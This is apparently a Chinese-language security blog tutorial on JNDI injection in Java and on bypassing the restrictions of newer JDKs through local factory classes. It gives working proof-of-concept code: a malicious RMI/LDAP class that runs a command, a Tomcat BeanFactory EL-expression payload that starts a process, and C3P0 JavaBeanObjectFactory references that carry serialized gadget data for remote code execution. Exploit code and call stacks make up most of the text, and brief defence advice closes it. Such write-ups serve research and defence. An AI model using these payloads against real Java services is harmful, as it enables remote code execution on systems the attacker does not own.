jndi +JavaBeanObjectFactory 实现高版本绕过
字数 1352 2025-11-21 12:49:55

JNDI注入与高版本绕过技术详解

1. 低版本JNDI注入原理

1.1 RMI注入实现

恶意类构造

import java.lang.Runtime;

public class test{
    static {
        try{
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            System.out.println(e);
        }
    }
    public test(){}
}

服务端代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7777);
        Reference reference = new Reference("test", "test", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
    }
}

客户端代码

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
    }
}

1.2 漏洞分析流程

  1. 调用链起点RegistryContext.lookup()
  2. 关键方法decodeObject()getObjectInstance()
  3. 类加载机制
    • helper.loadClass(factoryName) 尝试本地加载
    • 本地不存在时调用 helper.loadClass(factoryName, codebase) 远程加载
  4. 触发点clas.newInstance() 实例化恶意类

完整调用栈

loadClass:73, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)

1.3 LDAP注入实现

使用yakit启动LDAP服务端,客户端代码:

new InitialContext().lookup("ldap://127.0.0.1:8085/ecEzwVXo");

调用栈差异
使用DirectoryManager.getObjectInstance替代NamingManager.getObjectInstance

2. 高版本JDK限制与绕过

2.1 高版本限制机制

decodeObject方法中添加判断:

if (ref.getFactoryClassLocation() != null && !trustURLCodebase) {
    throw new ConfigurationException();
}

绕过条件

  1. ref为空
  2. ref.getFactoryClassLocation()返回空
  3. trustURLCodebase为true

2.2 BeanFactory利用(Tomcat)

依赖配置

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

服务端构造

Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);

技术要点

  • 使用本地工厂类org.apache.naming.factory.BeanFactory
  • 通过EL表达式实现代码执行
  • classFactoryLocation属性为空绕过检测

2.3 JavaBeanObjectFactory利用(C3P0)

依赖配置

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

2.3.1 反序列化点分析

关键方法getObjectInstance()中的反序列化操作

点1:REF_PROPS_KEY反序列化

BinaryRefAddr var9 = (BinaryRefAddr)var6.remove("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY");
if (var9 != null) {
    var12 = (Set)SerializableUtils.fromByteArray((byte[])((byte[])var9.getContent()));
}

构造Payload

Reference ref = new Reference("java.lang.Object", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", Utils.base64ToByte("base64序列化字节")));

点2:createPropertyMap中的反序列化

Object val = SerializableUtils.fromByteArray(ba);

2.3.2 setter方法利用

关键代码构造

Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
String poc = "HEX序列化数据";
ref.add(new StringRefAddr("userOverridesAsString", "HexAsciiSerializedMap:" + poc + ";"));

触发流程

  1. findBean方法调用setter方法
  2. 比较userOverridesAsString与hex字节码
  3. 触发VetoableChangeSupport.fireVetoableChange
  4. 调用WrapperConnectionPoolDataSource.VetoableChange
  5. 执行parseUserOverridesAsString方法
  6. 反序列化hex数据触发RCE

调试关键点

  • classFactoryLocation为空绕过检测
  • 本地工厂类成功加载
  • setter方法触发反序列化链

3. 技术总结

3.1 利用条件

  • 存在JNDI注入点
  • 目标环境包含特定依赖(Tomcat/C3P0)
  • 高版本JDK需使用本地工厂类绕过

3.2 防御建议

  • 升级JDK版本并设置trustURLCodebase为false
  • 限制不必要的依赖引入
  • 对JNDI查询进行输入验证和过滤
  • 使用安全管理器限制代码执行权限

3.3 技术演进

从低版本的远程类加载到高版本的本地工厂类利用,体现了安全防护与绕过技术的持续对抗。理解这些技术细节有助于更好地防御相关攻击。

JNDI注入与高版本绕过技术详解 1. 低版本JNDI注入原理 1.1 RMI注入实现 恶意类构造 服务端代码 客户端代码 1.2 漏洞分析流程 调用链起点 : RegistryContext.lookup() 关键方法 : decodeObject() → getObjectInstance() 类加载机制 : helper.loadClass(factoryName) 尝试本地加载 本地不存在时调用 helper.loadClass(factoryName, codebase) 远程加载 触发点 : clas.newInstance() 实例化恶意类 完整调用栈 : 1.3 LDAP注入实现 使用yakit启动LDAP服务端,客户端代码: 调用栈差异 : 使用 DirectoryManager.getObjectInstance 替代 NamingManager.getObjectInstance 2. 高版本JDK限制与绕过 2.1 高版本限制机制 在 decodeObject 方法中添加判断: 绕过条件 : 令 ref 为空 令 ref.getFactoryClassLocation() 返回空 令 trustURLCodebase 为true 2.2 BeanFactory利用(Tomcat) 依赖配置 : 服务端构造 : 技术要点 : 使用本地工厂类 org.apache.naming.factory.BeanFactory 通过EL表达式实现代码执行 classFactoryLocation 属性为空绕过检测 2.3 JavaBeanObjectFactory利用(C3P0) 依赖配置 : 2.3.1 反序列化点分析 关键方法 : getObjectInstance() 中的反序列化操作 点1:REF_ PROPS_ KEY反序列化 构造Payload : 点2:createPropertyMap中的反序列化 2.3.2 setter方法利用 关键代码构造 : 触发流程 : findBean 方法调用setter方法 比较 userOverridesAsString 与hex字节码 触发 VetoableChangeSupport.fireVetoableChange 调用 WrapperConnectionPoolDataSource.VetoableChange 执行 parseUserOverridesAsString 方法 反序列化hex数据触发RCE 调试关键点 : classFactoryLocation 为空绕过检测 本地工厂类成功加载 setter方法触发反序列化链 3. 技术总结 3.1 利用条件 存在JNDI注入点 目标环境包含特定依赖(Tomcat/C3P0) 高版本JDK需使用本地工厂类绕过 3.2 防御建议 升级JDK版本并设置 trustURLCodebase 为false 限制不必要的依赖引入 对JNDI查询进行输入验证和过滤 使用安全管理器限制代码执行权限 3.3 技术演进 从低版本的远程类加载到高版本的本地工厂类利用,体现了安全防护与绕过技术的持续对抗。理解这些技术细节有助于更好地防御相关攻击。